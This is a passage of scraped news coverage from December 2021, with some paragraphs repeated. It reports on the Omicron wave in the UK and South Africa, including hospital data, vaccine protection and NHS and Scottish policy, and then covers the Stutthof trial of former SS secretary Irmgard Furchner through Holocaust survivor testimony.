enough to be discharged, leaving the decision in the hands of medics. And there are fears returning elderly patients to care homes could put others at risk after former Health Secretary Matt Hancock's decision not to test all residents before they were discharged last year was blamed for the deaths of thousands. Care England, which represents the biggest private chains, told MailOnline the NHS must ensure all patients are 'properly tested' this time round and warned more staff are needed at some homes to make the scheme work. The above maps show areas where the Omicron Covid variant has been detected in England over the two weeks to November 20 (left), and to December 4 (right). Areas where the variant has been detected are not coloured yellow. It shows how it has gone from just one local authority, to about half of the country. Areas with darker colours have detected more cases The above graph shows the seven-day average for hospital admissions in different regions of England. It reveals that in London (orange) there has been a steady increase This graph shows the Covid infection rate per 100,000 people in England's regions. It also shows there has been a rapid uptick in London (red) while cases remain largely flat in other regions The above graph shows how Omicron cases are rising across England's regions. PCRs search for three specific genes to tell whether someone has Covid, but with Omicron one of the genes is so mutated - the S-gene - that it does not show up with the tests. Cases with this gene missing are coloured purple above, with the graph showing their numbers quickly increasing The above graph shows the proportion of cases detected that did and did not have a confirmed S-gene. PCRs search for three specific genes to tell whether someone has Covid, but with Omicron one of the genes is so mutated - the S-gene - that it does not show up. This allows scientists to quickly tell which cases are likely Delta (green) and Omicron (purple) Omicron is causing up to a THIRD fewer admissions than Delta and two Pfizer jabs still slash death risk of severe disease by 70% Omicron is causing milder disease than Delta in patients in the epicentre of the new Covid variant, the first major real-world study in South Africa confirmed. Officials who analysed 78,000 Omicron cases in the past month estimated the risk of hospitalisation was a fifth lower than with Delta and 29 per cent lower than the original virus. As a crude rate, Omicron is currently leading to a third fewer hospital admissions than Delta did during its entire wave 38 admissions per 1,000 Omicron cases compared to 101 per 1,000 for Delta. The findings lend weight to the theory that the ultra-infectious variant is weaker than previous strains, something which doctors on the ground in South Africa have been claiming for weeks. But the reduction in severity is probably not solely down to Omicron being intrinsically milder, according to the South African Medical Research Council which led the analysis. Around 70 per cent of South Africans have recovered from Covid already and 23 per cent are double-vaccinated, which has created high levels of immunity. The finding will raise hopes that the UK's Omicron wave will be less severe than previous peaks, despite having an older and denser population. Unlike South Africa, the UK is rolling out booster jabs on a mass scale. The study also found two doses of Pfizer's vaccine still provide 70 per cent protection against hospital admission or death from Omicron, compared to 93 per cent for Delta. While this is more protection than many scientists initially feared, it still leaves 30 per cent of people vulnerable to severe Omicron disease, four times as many as Delta. Waning immunity from two Pfizer doses was found to offer just 33 per cent protection against Omicron infection, explaining why the country has seen a meteoric rise in case numbers. Advertisement It comes after Sajid Javid admitted even urgent operations may have to be cancelled in order to ramp up No10's booster drive, which aims to offer a vital third dose to all adults by the end of the month. Ministers have already warned anyone wanting to see their family doctor face-to-face for a 'routine' appointment will be forced to wait until the New Year so GPs can focus on delivering booster jabs. Doctors called for clear messaging on what is considered 'urgent', telling patients not to come in with rashes or common colds. Cancer charities and patients' rights groups slammed the policy as a 'hammer blow' for those needing care, adding delays in seeing a GP can mean diagnoses are missed in the vital early stages of the disease. MacMillan said it fears the pivoting of the NHS to prioritising Covid will have 'unintended consequences'. The NHS surgery backlog is already at a record high of nearly 6million, with the crisis fuelled by hospitals being forced to cancel tens of thousands of operations during the pandemic. Critics accused the NHS of having transformed into the 'National Covid Service' in the early days of the outbreak, sacrificing other elements of health care. Meanwhile, the Omicron Covid variant spreading at a ferocious pace in the UK has become dominant in London barely two weeks after it was first detected, health chiefs revealed. Professor Kevin Fenton, the capital's director of public health, said data suggested the super-strain was already behind at least one in every two new infections in the city, up from 44 per cent just yesterday. As the country's major transport hub, London quickly became England's Omicron epicentre after South Africa first raised the alarm on November 24. It is thought to have been seeded in the capital by travellers flying into the UK. The capital's Covid infection rate has spiralled to its highest level since January when stringent curbs were in place, rising 55 per cent in a fortnight from 347 to 537 cases per 100,000 people. And hospitalisations in the city have risen by 50 per cent over the same period, from 90 to 140 admissions a day on average. Deaths remain flat but it can take up to a month for fatalities to start rising due to the time it takes to fall seriously ill. Scientists and health leaders called for tighter pandemic restrictions to help hold the Omicron case tsunami at bay, stating the beleaguered Covid booster programme will not be enough. Experts called for compulsory mask wearing, social distancing enforcement in the hospitality sector, and for Britons to dramatically reduce the number of people they meet in person. The experts were giving evidence to MPs from All-Party Parliamentary Group on Coronavirus. British Medical Association chair Chaand Nagpaul was one of those who called for great restrictions. 'It makes no sense that staff in hospitality don't need to wear a mask, a waiter serving customers in a crowded restaurant is just as able to transmit the virus. Make that mandatory now,' he said. 'Have specifications on physical distancing, having a restaurant, or a club, or a bar, or a pub with people crowded next to each other doesn't make sense. 'You have to have a policy that is not just about boostersthat does mean going further than some of the restrictions in Plan B.' SAGE advisor and professor psychology Stephen Reicher also argued that boosters will not be enough to stem the Omicron tide. 'We need to get cases down now, while we all agree we need to get boosters, number one it will take a number of weeks to give people those boosters, number one it will take a couple of weeks for the effect of those boosters to kick in and if we were to do nothing now by the then the cases will be catastrophically high,' he said. Katherine Henderson, president of the Royal College Emergency Medicine said her biggest worry was the focus on the Covid booster programme would drag much needed clinical staff away from hospital wards. 'It isn't like we've got a whole load of blow-up vaccinators in a cupboard somewhere that we've been keeping on standby for this situation,' she said. Officials who looked at 78,000 Omicron cases in the past month found t he risk of hospitalisation was a fifth lower than with Delta (in green) and 29 per cent lower than the original virus (dark blue). Omicron is shown in brown and the original South African 'Beta' variant in light blue. Children appeared to have a 20 per cent higher risk of hospital admission with complications during the new wave than the initial outbreak, despite the numbers still being tiny As a crude rate, Omicron is currently causing a third fewer hospital admissions than Delta did during its entire wave 38 admissions per 1,000 Omicron cases, compared to 101 per 1,000 for Delta The study also found that two doses of Pfizer's vaccine still provides 70 per cent protection against hospital admission or death from Omicron, compared to 93 per cent for Delta Waning immunity from two Pfizer doses was found to offer just 33 per cent protection against Omicron infection, explaining why the country has seen a meteoric rise in case numbers NHS in crisis mode as it orders hospitals to empty 'as many patients as possible' into care homes, hospices or HOTELS NHS bosses have ordered hospitals to discharge as many patients as possible off wards and into care homes and even hotels to handle the predicted Omicron surge. In a letter to healthcare providers published late last night, NHS England said all patients in hospital beds should be discharged if it is 'safe' to do so. Hospitals are on red alert in the wake of shocking modelling by Government scientists that warned admissions could exceed levels seen during the darkest days of the nation's second wave last January, when 4,000 infected patients were needing medical care every day. Nurses are being flown in from Spain and Greece to offer temporary assistance at hotels that are being converted into care sites over Christmas to help deal with the oncoming crisis, it was also revealed. But the NHS guidance did not stipulate how exactly patients would be deemed 'medically fit' enough to be discharged, leaving the decision in the hands of medics. And there are fears returning elderly patients to care homes could put others at risk after former Health Secretary Matt Hancock's decision not to test all residents before they were discharged last year was blamed for the deaths of thousands. Care England, which represents the biggest private chains, told MailOnline the NHS must ensure all patients are 'properly tested' this time round and warned more staff are needed at some homes to make the scheme work. It comes after Sajid Javid admitted even urgent operations may have to be cancelled in order to ramp up No10's booster drive, which aims to offer a vital third dose to all adults by the end of the month. Advertisement And Elaine Thorpe, an Intensive Care Unit matron at University College London Hospitals NHS Foundation Trust told MPs that staff were already dreading what was to come. 'You can see it in the eyes of the doctors and the nurses and the physios, they are terrified of having to do that again,' she said. Nationally, Omicron is behind one in every five cases but is expected to outstrip Delta before the New Year. For comparison, it took Delta almost two months to take over from the Alpha variant. Omicron is also spreading very quickly in Scotland and South Northamptonshire, data shows. A spokesman for London's mayor suggested they would back controversial local lockdown restrictions in the capital, saying it was better to 'act now' rather than wait for the virus to spiral out of control. But Tory representatives called on ministers to rely on 'strong vaccine protection' and ramp up the booster drive, rather than curb people's daily lives. Nicola Sturgeon told Scots they could no longer mix in groups bigger than three households, and said social distancing was to return in shops and pubs because of surging Omicron numbers there. But the First Minister said the rule would be relaxed for Christmas Day and there was no reason to cancel plans. The surging cases in the capital and calls for more restrictions have echoes of last winter when London was the first place to be locked down in the run up to Christmas. It comes as a major study suggested that two doses of Pfizer's vaccine still provides 70 per cent protection against hospital admission and death from Omicron, compared to 93 per cent for Delta. The first real-world study in South Africa also estimated the risk of hospitalisation was a fifth lower than with Delta and 29 per cent lower than the original virus. The findings lend weight to the theory that the ultra-infectious variant is weaker than previous strains, something which doctors on the ground in South Africa have been claiming for weeks. It comes as Nicola Sturgeon re-introduced social distancing and asked Scots to cut down on socialising in the run up to Christmas. Pubs, restaurants and shops will have to take measures to avoid crowding and queues, the First Minister told Holyrood. Additionally she asked Scots to limit indoor mixing to just three households. While the advice will not be enforceable in law, Ms Sturgeon announced that allowing staff to work from home where possible will again become a legal duty on employers. Ms Sturgeon confirmed that she was not seeking to put restrictions on festive events at Christmas itself, although she added that 'keeping your celebrations as small as family circumstances allow is sensible'. 'My key request today is this: before and immediately after Christmas, please minimise your social mixing with other households as much as you can,' she told the Scottish Parliament. 'However, if you do plan on socialising, either at home or in indoor public places, we are asking that you limit the number of households represented in your group to a maximum of three. And make sure you test before you go.' She also lashed out at Boris Johnson, complaining that it was 'not acceptable' that there was no additional funding yet available from the UK Government to support businesses affected by the measures she is introducing. The changes - which could well be followed by similar moves in Wales - will further increase the pressure on Boris Johnson in England, with London, like Scotland, an omicron hotspot. Calls have been made for the introduction of further restrictions in the capital, with the super mutant variant now responsible for half of cases. The city is still the region of England with the fastest-growing Covid outbreak, according to Government data, with cases growing by up to 48 per cent a week in the worst-hit boroughs. NHS leaders said No10 needs to be prepared to introduce stricter curbs than the current Plan B if Omicron is on the brink of overwhelming the NHS. Mr Johnson warned his Cabinet this morning that a 'huge spike' of Omicron is coming, according to Downing Street. Dominic Raab risked inflaming the tensions in interviews as he dismissed 'overstated' criticism about the measures to combat the Omicron strain. Ministers are said to be examining plans for a further round of restrictions in England that would push it closer towards a lockdown and are sure to watch Ms Sturgeon's announcement with interest and trepidation. Meanwhile Britain's booster drive to beat the Omicron super-variant has been mired in chaos after more than 4.4million attempts were made to book top-up shots on the NHS website and furious GPs warned they had run out of doses. Health chiefs said 545,000 appointments were secured by 8pm last night, even after the website crashed because so many people logged on. This morning Britons were stuck in up to an hour long queues. But GPs complained they would not have enough jabs for everyone after being given until 9am to order stocks to meet Boris Johnson's December 31 'boosted or bust' deadline. Advertisement Omicron infections may have already peaked in the South African epicentre, fresh data suggested today as an ex-Government Covid adviser claimed the UK's incoming outbreak may be no worse than flu. The South African Government's weekly Covid surveillance report revealed that cases fell in Gauteng province last week for the first time since the nation sounded the alarm about Omicron on November 24. There were 377 cases per 100,000 people in the week to December 11 in Gauteng, down roughly 4 per cent on the previous week. Experts told MailOnline that while the 'encouraging' drop in cases was small enough to be within the margin of error, it at the very least shows Omicron is no longer spreading exponentially. Testing in the province has more than doubled in the past three weeks from 541 tests per 100,000 on November 27 to 1,264 now, suggesting swabbing capacity is not the issue. Professor Robert Dingwall, a former member of the Nervtag and JCVI panels, expects the ultra-infectious variant to infect so many Britons that it creates a work absence crisis. But he predicted that it won't overwhelm the NHS, despite gloomy warnings from No10's own scientists. A major real-world study of Omicron in South Africa yesterday found that the mutant virus is causing two-thirds fewer hospital admissions than Delta, bolstering claims it is milder than previous strains. Professor Dingwall, a sociologist who still sits on the Government's Moral and Ethical Advisory Group but has no input on the response to the pandemic, told MailOnline: 'Respectable experts in South Africa are telling us we're overreacting and that this is a milder virus. He accused British scientists of 'snobbery', adding: 'The best South African scientists are as good as scientists anywhere in world and if their view is there no reason to panic, we shouldn't be so quick to disagree.' Doctors on the ground in the South Africa have insisted for weeks that Omicron causes milder disease, likely due to immunity from earlier waves and vaccines. There are just 375 daily Covid admissions in South Africa currently, on average. But No10's scientific advisers fear that Britain's older and denser population puts it at a greater risk of a wave of infections and hospital pressure, even though only 25 per cent of South Africans are vaccinated and their booster roll-out is only just beginning. There is a suggestion that the NHS' threshold for being 'overwhelmed' is lower now after 18 months of battling the pandemic. The service was already in crisis mode before Omicron emerged, and since the pandemic hit waiting lists for routine operations have hit a record high. South Africa's weekly Covid surveillance report this morning revealed that cases fell in the epicentre of Gauteng province last week, in an early sign that the variant has peaked within a month of being discovered. The province, which includes major cities like Johannesberg and Tshwane, recorded 377 cases per 100,000 people in the week to December 11, down 3.9 per cent on the previous week Cases were rising in young children, older teenagers and adults 40 and over, but falling in all other groups. The fact that cases are still rising in elderly and vulnerable groups is still a cause for concern The above graph shows the weekly Covid infection rate per 100,000 people across South Africa's nine provinces. It reveals cases are now pointing downwards in Gauteng This graph shows the Covid infection rate per 100,000 people in England's regions. It also shows there has been a rapid uptick in London (red) while cases remain largely flat in other regions The above graph shows the seven-day average for hospital admissions in different regions of England. It reveals that in London (orange) there has been a steady increase Covid cases in South Africa jumped by 81 per cent in a week yesterday with another 23,884 recorded in the last 24 hours This chart shows daily Covid cases as reported for South Africa's nine provinces yesterday. Gauteng is still seeing the most Covid cases reported every day This map reveals which parts of South Africa the variant's case numbers are rising fastest in. It shows these are the Free State and the Eastern Cape Professor Dingwall told The Telegraph last night: 'My gut feeling is that omicron is very much like the sort of flu pandemic we planned for a lot of sickness absence from work in a short period, which will create difficulties for public services and economic activity, but not of such a severity as to be a big problem for the NHS and the funeral business.' His comments come as a weekly Covid report from South Africa's National Institute for Communicable Diseases found cases dropped in Gauteng last week for the first time. The province, which includes major cities like Johannesburg and Tshwane, recorded 377 cases per 100,000 people in the week to December 11, down 3.9 per cent on the previous week. Omicron-hotspot London is seeing Covid cases rise quicker now than since very first wave Omicron-stricken London's Covid cases are rising faster than at any point since the first wave and most people who have a cold are likely to be infected with the virus, a top epidemiologist claimed today. Professor Tim Spector, who runs the UK's largest study tracking viruses, said at least half of all respiratory infections in the capital were now Covid. For comparison, it is about one in four across the rest of the country. He added there was 'no difference' in symptoms between Omicron and Delta infections, with warning signs similar to a cold and including a headache, sore throat, runny nose, fatigue and sneezing. Health bosses warned today that Omicron was the 'biggest threat' since the start of the pandemic, and was leaving the NHS a key barometer of whether more restrictions are needed in 'peril'. SAGE scientist Professor Graham Medley said he feared the mutant strain could trigger a 'very large' wave of hospitalisations in the country because it is more transmissible than other strains. Omicron is already behind more than 50 per cent of infections in London, which has seen its infection rate spiral to the highest levels since January at 575.4 cases per 100,000 people. Hospitalisations in the capital have also risen 50 per cent in a fortnight, from 90 to 140 people being admitted to wards with Covid every day on average. But deaths remain flat at an average of 10 fatalities due to the virus a day. These are lagging indicators, however, because of the time taken for someone who catches the virus to fall seriously ill and be admitted to hospital. A spokesman for the mayor suggested yesterday that they would support more restrictions for the capital, saying it is better to 'act now'. But Tories called on ministers to rely on the 'vaccine shield'. It comes amid signs the capital may already be locking itself down, with many West End performances shelved because actors have caught the virus and pubs and restaurants facing a sea of Christmas party cancellations. Advertisement Professor Paul Hunter, an epidemiologist at the University of East Anglia and professor in environmental health at the Tshwane University of Technology, described the fall in infections as 'encouraging'. He added: 'But we should be careful not to read too much in a single week of data. But if this fall continues then that would be good news for South Africa and maybe for us as well. 'I can't think of any major caveats, though one swallow doesn't make a spring so just one week of data could be due to other things such as problems with people accessing testing (I know of no evidence that this is the case but I am always a little cautious).' Boris Johnson's official spokesperson yesterday said it was 'valid' that the UK could face an astronomical 1million daily Omicron infections by the end of the year. That projection is based on widely disputed modelling by the UK Health Security Agency which claims there were also 200,000 Omicron infections yesterday despite the centralised testing scheme picking up just 59,000. Professor Hunter said that while the 1million-per-day figure was 'theoretically possible', he believes it is too high. 'As for the UK the big difference is that even though vaccination rates are lower in South Africa, the large majority of people have had a prior infection so difficult to extrapolate to UK context. 'Even so I don't expect that omicron will continue to grow with its current short doubling time for much longer otherwise we would all have been infected by the 12th day of Christmas.' The development comes after the first major real-world study in South Africa found that Omicron is currently leading to a third fewer hospital admissions than Delta did during its entire wave 38 admissions per 1,000 Omicron cases compared to 101 per 1,000 for Delta. Officials who analysed 78,000 Omicron cases in the past month estimated the risk of hospitalisation was a fifth lower than with Delta and 29 per cent lower than the original virus. The findings lend weight to the theory that the ultra-infectious variant is weaker than previous strains, something which doctors on the ground in South Africa have been claiming for weeks. But the reduction in severity is probably not solely down to Omicron being intrinsically milder, according to the South African Medical Research Council which led the analysis. Around 70 per cent of South Africans have recovered from Covid already and 23 per cent are double-vaccinated, which has created high levels of immunity. The study also found two doses of Pfizer's vaccine still provide 70 per cent protection against hospital admission or death from Omicron, compared to 93 per cent for Delta. While this is more protection than many scientists initially feared, it still leaves 30 per cent of people vulnerable to severe Omicron disease, four times as many as Delta. Waning immunity from two Pfizer doses was found to offer just 33 per cent protection against Omicron infection, explaining why the country has seen a meteoric rise in case numbers. THREE jabs to go on holiday: Brits warned it's 'inevitable' they'll require booster shots to be 'fully vaccinated' for travel in 2022 Britons wanting to holiday abroad next year will 'inevitably' require a third Covid jab to be allowed into destination countries, Grant Shapps revealed today. The Transport Secretary said nations including G7 members like the US, France and Italy, all popular with millions of UK tourists, were likely to make it an entry requirement in 2022. The booster jab is also likely to become a domestic requirement to be classed as fully vaccinated within Britain, with ministers saying rules will be updated as soon as people have had a reasonable chance to get it. Mr Shapps told Sky News this morning: 'I speak to my opposite numbers in other countries - transport secretaries from around the world - particularly from the G7 this year, which we are hosting. 'They are saying ''look we are going to switch to requiring people to have that third jab'' before they are able to come into their countries so eventually it becomes inevitable because other countries will require it for us. 'I don't know what that time will be - not this year. Last night Sajid Javid today confirmed all countries will be removed from the Government's international travel red list from 4am today because the Omicron variant is already running rampant in the UK. The Health Secretary told the House of Commons that the change has been made because there is domestic community transmission of the variant and it is also spreading 'widely across the world'. As a result he said the red list is 'now less effective in slowing the incursion of Omicron from abroad' and hotel quarantine will therefore be shelved. The 11 countries on the list are: Angola, Botswana, Eswatini, Lesotho, Malawi, Mozambique, Namibia, Nigeria, South Africa, Zambia and Zimbabwe. The decision was hammered out at a meeting of the Cabinet's Covid-19 operations (Covid-O) committee. The red list was reintroduced last month following the emergence of Omicron as ministers tried to prevent importing cases into the UK. Despite the change on the red list, tougher travel testing rules introduced in response to the variant will remain in place. Advertisement Despite the optimism, one of the Government's top modellers said there is a possibility the NHS could be overwhelmed next month because of Omicron. Professor Graham Medley, chair of the SPI-M modelling group that feeds into SAGE, told BBC Radio 4's Today programme he is worried 'we could see numbers of people being admitted to hospital getting very large' if infections continue to rise and spill into older age groups. It came as Dr Jenny Harries, chief executive of the UK Health Security Agency, told MPs the Omicron coronavirus variant is 'probably the most significant threat we've had since the start of the pandemic'. She said the 'real potential risk' is whether 'cases turn into severe disease, hospitalisations and deaths', but added that it is 'too early' to be clear on that. Speaking in a personal capacity, Professor Medley said it is 'very hard to predict in real time exactly what's happening on any day, but it's certainly true that the numbers of infections primarily with Omicron is increasing, and has been increasing quite dramatically'. He added: 'We're probably now at the level that we have been at the past, sort of back in January, and it does look as though it's going to continue beyond that and go over it.' Professor Medley said there is not currently any good information on the severity of Omicron but added: 'We are a population in a very different position to this time last year, in the sense that the majority of people have been vaccinated and there has been much infection since then, so there is much more immunity... 'The fact that we are much more immune than we were generally means that the virus will appear to be much less severe. 'So, individually, we have a much lower risk but the numbers of infections means that even though individually we're at less risk, at a population level (the) number of people ending up in hospital could get very large.' He said it is a 'million-dollar question' over how this will affect the health service. Asked if hospitals could end up overwhelmed, he said: 'I think that that is a very real possibility. 'If the numbers of infections increasing continues in the way that it has done, and it spills out into older age groups, then we could see numbers of people being admitted to hospital getting very large and certainly going over the 1,000, maybe up to 2,000 a day, that we've managed to keep the Delta variant below. 'It was sort of below 1,000 since July without any restrictions, but I think that is going to be very, very difficult or are very unlikely to happen.' Pressed on the possibility of the NHS being overwhelmed next month, the expert said: 'I think so, there is that possibility. 'It's very hard to be certain about these things. You certainly can't put a risk or probability on them, but that is one of one of the more likely things that could happen.' Professor Medley said 'the numbers of boosters has gone up enormously' but it is the 'concertina-ing effect which is the biggest danger'. He said there have been around 800 hospital admissions per day for the past five months but 'if we'd had all those in one month then we would have had a very different experience and the NHS would have been extremely taxed.' He added: 'And that is the fear - that we end up with the next four months of the epidemic in one month.' Transport Secretary Grant Shapps defended the Government's position, saying ministers believe Plan B includes 'sensible proportionate steps, which, combined with getting the booster jab, we think will be the right approach to take.' He told the Today programme that the Government is saying that 'we're in a much better position to enjoy Christmas than we were last year', adding that taking tests before gatherings is a sensible move, as well as getting boosters. Elsewhere, Professor Adam Finn, from the University of Bristol and a member of the Joint Committee on Vaccination and Immunisation (JCVI), told BBC Breakfast the wave of Omicron is just taking off across the country. He said: 'The wave is coming very fast and in fact alarmingly fast - if anything faster than ever. So it really is a race at the moment. 'The more immunity that we've all got the less of a problem this is going to be, but I'm afraid it is going to be a serious problem either way.' Prof Finn said it is not up to him to say what regulations should be put on the population, but added: 'I think I can certainly encourage people to do everything they can to minimise spread of the virus during this critical period and, of course, a lot of that can be done voluntarily without anyone imposing rules on people. 'We all know now what the things are that we can do. We can avoid social contact, we can minimise contact at work, we can wear masks and really importantly, do lateral flow tests and check that you aren't showing signs of infection on a test before you go into a crowded place where you might infect other people.' Prof Finn said he is 'very concerned' about the current number of daily infections, adding that we are 'going to see the numbers of people becoming ill and needing hospital care beginning to rise steadily now over the next week and maybe over Christmas as well.' But he said boosters take effect in the body quickly, adding: 'It does come through very fast because you've got immunological memory, you've seen the antigen before from your previous doses, so the level of protection goes up pretty quick.' Meanwhile, Professor Tim Spector, who helped found the Covid Zoe app, said Covid cases in London are accelerating more than was seen during the very first wave of the virus. He told the Today programme the 'majority of symptoms' of the Omicron variant are like a common cold, including headaches, sore throat, runny nose, fatigue and sneezing. He said: 'In London, where Covid is increasing rapidly, it's far more likely to be Covid than it is to be a cold. 'If we look at our regional charts we see London accelerating more than we've seen it since the very first wave and this now means that Omicron is the predominant variant already.' On Tuesday evening, new restrictions were approved in Parliament for face coverings at more indoor spaces in England and the introduction of NHS Covid passes for nightclubs and large venues. In Scotland, people have been urged to limit their mixing by socialising with only up to two other households indoors, while in Northern Ireland, politicians backed mandatory Covid certification for access to nightclubs, pubs, restaurants and other licensed premises. A survivor of a Nazi concentration camp has described how guards killed inmates by throwing them against electric fences or setting dogs on them at the trial of a woman who denies having any role in more than 11,000 deaths, from 1943 to 1945. Speaking during the trial via videolink from the US, Asia Shindelman described the horrors she witnessed at Stutthof camp in Nazi-occupied Danzig, now in Poland. Irmgard Furchner, a 96-year-old typist who has been dubbed the 'Secretary of Evil', is accused of being an accessory to the murder of 11,412 at the camp through her work as the secretary to the SS commander at Stutthof. Furchner denies the charges. 96-year-old defendant Irmgard Furchner, a former secretary for the SS commander of the Stutthof concentration camp, sits in a courtroom in Itzehoe, northern Germany, on December 7, 2021. On Tuesday, she heard further testimony from a concentration camp survivor Asia Shindelman (pictured), who was born in Lithuania in 1928 and now lives in the US, described the horrors she witnessed at Stutthof camp in Nazi-occupied Danzig, now in Poland Furchner was just 18 when she started work at the camp on the Baltic coast, and is the first woman to stand trial in decades over crimes connected to the Third Reich. She worked in an office outside the main Stutthof camp, and claims she had no knowledge of the mass-murder being carried out inside. Furchner was formally charged on 26th January this year. In September, she was arrested after fleeing her nursing home as the trial was about to begin. Ms Shindelman, born in Lithuania in 1928, spoke in Russian as she recounted her happy life as a child to the court in Itzehoe, northern Germany, according to German news website Der Spiegel. She lived 'among loving, caring people,' the 93-year-old told the court through an interpreter from her home in New Jersey. Her family spoke Yiddish , and her father owned a beauty salon in town. But that all changed with the Nazi occupation. 'We Jews were no longer allowed to walk on the sidewalk, only on the street where the cars were driving, she said. 'We had to wear stars of David on our clothes. We were forbidden to go shopping in grocery stores, we had to hand in radios and telephones. 'And then the killing started,' she said to the camera. Irmgard Furchner (left and right, in 1944) was just 18 when she started work at the camp on the Baltic coast, and is the first woman to stand trial in decades over crimes connected to the Third Reich. Ms Shindelman recalled how her family were taken to a ghetto in August 1941. Three families had to live in a single room, and many died of hunger, cold and disease. One person smuggled a pack of cigarettes into the ghetto and was hanged in public, she told the court, as an example to the other prisoners. Then, on July 25, 1944, Ms Shindelman was taken to the Stutthof concentration camp near Danzig. Along with her parents and two brothers, an uncle and her grandmother, she was taken in cattle wagons on the journey that lasted four days. They were given no food or water, in sweltering temperatures. When they arrived, she said Nazi officers were shouting at them: 'Faster, get out, you cursed Jews,' and a sign read 'Waldlager Stutthof.' They were herded by officers to tables and registered, each person being given a number. She could still remember her number, she said. It was 54138. On the same day, Ms Shindelman says her grandmother was murdered in a gas chamber, while she and her mother were taken to a barracks with three-story wooden beds, with no bedding or toilets. She and her mother slept on the floor. 'The guards were allowed to do whatever they wanted to us: They threw people against the electric fence, they were killed instantly. Others threw them to dogs to eat or shot them directly,' she told the court. 'The Germans could kill us too,' she said, recalling how every day the prisoners would have to line up like soldiers for hours. Anyone who fell over would be killed. Irmgard Furchner, the 'Secretary of Evil', faces charges of assisting in the murder of more than 11,000 prisoners at Stutthof concentration camp (pictured), 33 miles east of Danzig in Poland At this point in Ms Shindelman's testimony, Irmgard Furchner had taken her headphones out, seemingly disinterested. The judge intervened and told her to listen. Furchner's defence attorney Wolf Molkentin said that while the horrors of the camp and the actions of the Nazis were well documented, the court had yet to hear any evidence that would lead to his client's conviction. So far, he said, there is nothing to suggest a secretary or typist would have had anything to do with the murders at the camp. The case against Furchner is relying on German legal precedent established in cases over the past decade that anyone who helped Nazi death camps and concentration camps function can be prosecuted as an accessory to the murders committed there, even without evidence of participation in a specific crime. Tuesday was the ninth day of Furchner's trial, which continues. Stutthof, which was located near the Polish city of Gdansk, was the first death camp to be built outside Germany and was constructed in 1939. Over the six years it operated - until it was liberated by the Allies in May 1945 - it is thought some 110,000 people were sent there, of which up to 65,000 died. As Holocaust survivor Mr Salomonovic spoke in the courtroom on December 7, Furchner - who had been brought in by guards in a wheelchair - was seen tightly clutching her cane while staring intensely at him through her glasses Irmgard Furchner (pictured in white), a typist who has been dubbed the 'secretary of evil', hears from a Holocaust survivor (Josef Salomonovic, shown left on December 7) to testify at the trial in Itzehoe, northern Germany Originally built to house Polish intelligence officers and intellectuals, the camp later expanded to include significant numbers of Jews - many of whom were transferred there from Auschwitz or camps in the Baltics - and Soviet prisoners. The camp had gas chambers where many of the inmates were put to death, but tens of thousands also died due to starvation, disease epidemics, overwork and forced 'death marches'. Of those who died, around 28,000 were Jews. Last week, Furchner was photographed in the courtroom wearing a cream-coloured puffer jacket and matching beret, large sunglasses and a face-mask concealing her face, as she heard from another camp survivor and witness Josef Salomonovic. As Salomonovic spoke in the courtroom, Furchner - who had been brought in by guards in a wheelchair - was seen tightly clutching her cane while staring intensely at him through her glasses. 83-year-old Mr Salomonovic - a Jewish survivor of the Holocaust whose family was from Czechosloavkia - gave a harrowing testimony, according to The Telegraph. He said he was just six years old when his father kissed him goodbye for the last time before he was killed by a lethal injection to the heart at the Stutthof death camp. 'Maybe she has trouble sleeping at night. I know I do,' Mr Salomonovic said when asked by a prosecutor whether he had a message for Furchner. Concentration camp survivor and witness Josef Salomonovic is seen in the courtroom prior to the continuation of the trial of a 96-year-old defendant, a former secretary for the SS commander of the Stutthof concentration camp, in Itzehoe, on December 7, 2021 Mr Salomonovic dismissed the possibility that Furchner had no knowledge of the killings, telling reporters after the December 7 hearing that even if she was not directly responsible, she was still indirectly guilty - even if all she did was stamp his father's death certificate. In court, he held up a picture of his father to Furchner, saying he was testifying for his family. 'It is not easy to go over all this again. It's a moral duty. It's not pleasant.' He recalled how, as a child, he had to watch as Nazis stripped his mother of he clothes and possessions, and shaved her head. He didn't recognise her after, he said. Mr Salomonovic went on to describe how he survived eight concentration camps, including Auschwitz, but said Stutthof was the worst he experienced. 'I was classified as a parasite. Everyone who couldn't work was a parasite,' he told the court. 'I got into the cattle wagon and of course I didn't know we were going to Auschwitz or that this was the last time I would see my father. He kissed me.' Furchner (pictured centre) was photographed in the courtroom last week wearing a cream-coloured puffer jacket and matching beret, large sunglasses and a face-mask concealing her face Mr Salomonovic was able to survive together with his mother Dora and brother Michael. He said his mother requested that her son be brought from the men's camp to the women's camp. To their surprise, his brother was brought too. The family were brought from Czechosloavkia because they were Jewish. The 83-year-old told the court: 'The worst was the hunger and the cold,' and described how he would crouch between his mother's legs to stay warm. Mr Salomonovic said he thought he was going to die at the end of the way after he started working in a munitions factory in Dresden. There, an SS officer reached for his gun, saying: 'This filth has to go'. However, the witness said there was then a bombing in the city. 'That's why I'm still alive,' he told the court. Speaking in October, prosecutor Maxi Wantzen told that Furchner had knowledge of all of the horrific events at the camp due to her work for the commandment of the camp and was informed 'down to the last detail' about the murder methods practised there. He added that through her work as the camp secretary, she ensured 'the smooth functioning of the camp', the Frankfurter Allgemeine newspaper reported. 'Torture shows, gas chambers and mass hangings': Horrors of Nazi camp where Jews were sent to die The Stutthof camp was established in 1939 when Germany invaded Poland, and enlarged in 1943 with a new camp surrounded by electrified barbed-wire fences. The camp underwent several iterations, initially being used as the main collection point for Jews and non-Jewish Poles removed from the nearby city of Danzig on the Baltic Sea coast. From about 1940 onward, it was used as a so-called 'work education camp' where forced laborers, primarily Polish and Soviet citizens who had run afoul of their Nazi oppressors, were sent to serve sentences and often died. Others incarcerated there included criminals, political prisoners, homosexuals and Jehovah's Witnesses. From mid-1944, it was filled with tens of thousands of Jews from ghettos being cleared by the Nazis in the Baltics as well as from Auschwitz, which was overflowing, and thousands of Polish civilians swept up in the brutal suppression of the Warsaw uprising. As many as 100,000 people would eventually be deported there, some of them moved from other camps abandoned by the Nazis in the later stages of the war. In addition to gas chambers and lethal injections, many prisoners died of disease in the camp's horrific conditions under the supervision of the SS. Around 60,000 people are thought to have died in the camp, while another 25,000 perished while evacuating in the chaotic final weeks of the Third Reich. Finally liberated by Soviet forces in May 1945, the camp is now once again within Poland's borders, with the town going by the Polish name of Sztutowo. Historian Janina Grabowska-Chalka, long-time director of the Stutthof Museum, described everyday life in the camp as brutal. 'In the Stutthof concentration camp, all prisoners, men, women and children, were obliged to work. Hard work that exceeded human strength determined the rhythm of life and death in the camp. 'Stutthof belonged to the camps where very hard living conditions prevailed,' she said. Holocaust survivor Abraham Koryski gave evidence in 2019 in which he detailed the horrors he endured at the Stutthoff concentration camp in World War II. 'We were beaten constantly, the whole time, even while working,' Koryski 